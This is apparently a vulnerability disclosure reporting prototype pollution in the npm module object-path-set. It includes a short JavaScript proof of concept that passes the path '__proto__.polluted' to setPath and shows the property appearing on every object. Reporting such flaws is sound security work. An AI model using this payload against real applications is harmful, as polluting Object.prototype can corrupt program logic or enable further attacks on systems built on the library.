[object-path-set] Prototype pollution

I would like to report a `prototype pollution` vulnerability in `object-path-set` module. It allows an attacker to inject properties on Object.prototype.

const setPath = require('object-path-set');
const obj = {};
console.log("Before : " + obj.polluted);
setPath({}, '__proto__.polluted', 'yes');
console.log("After : " + obj.polluted);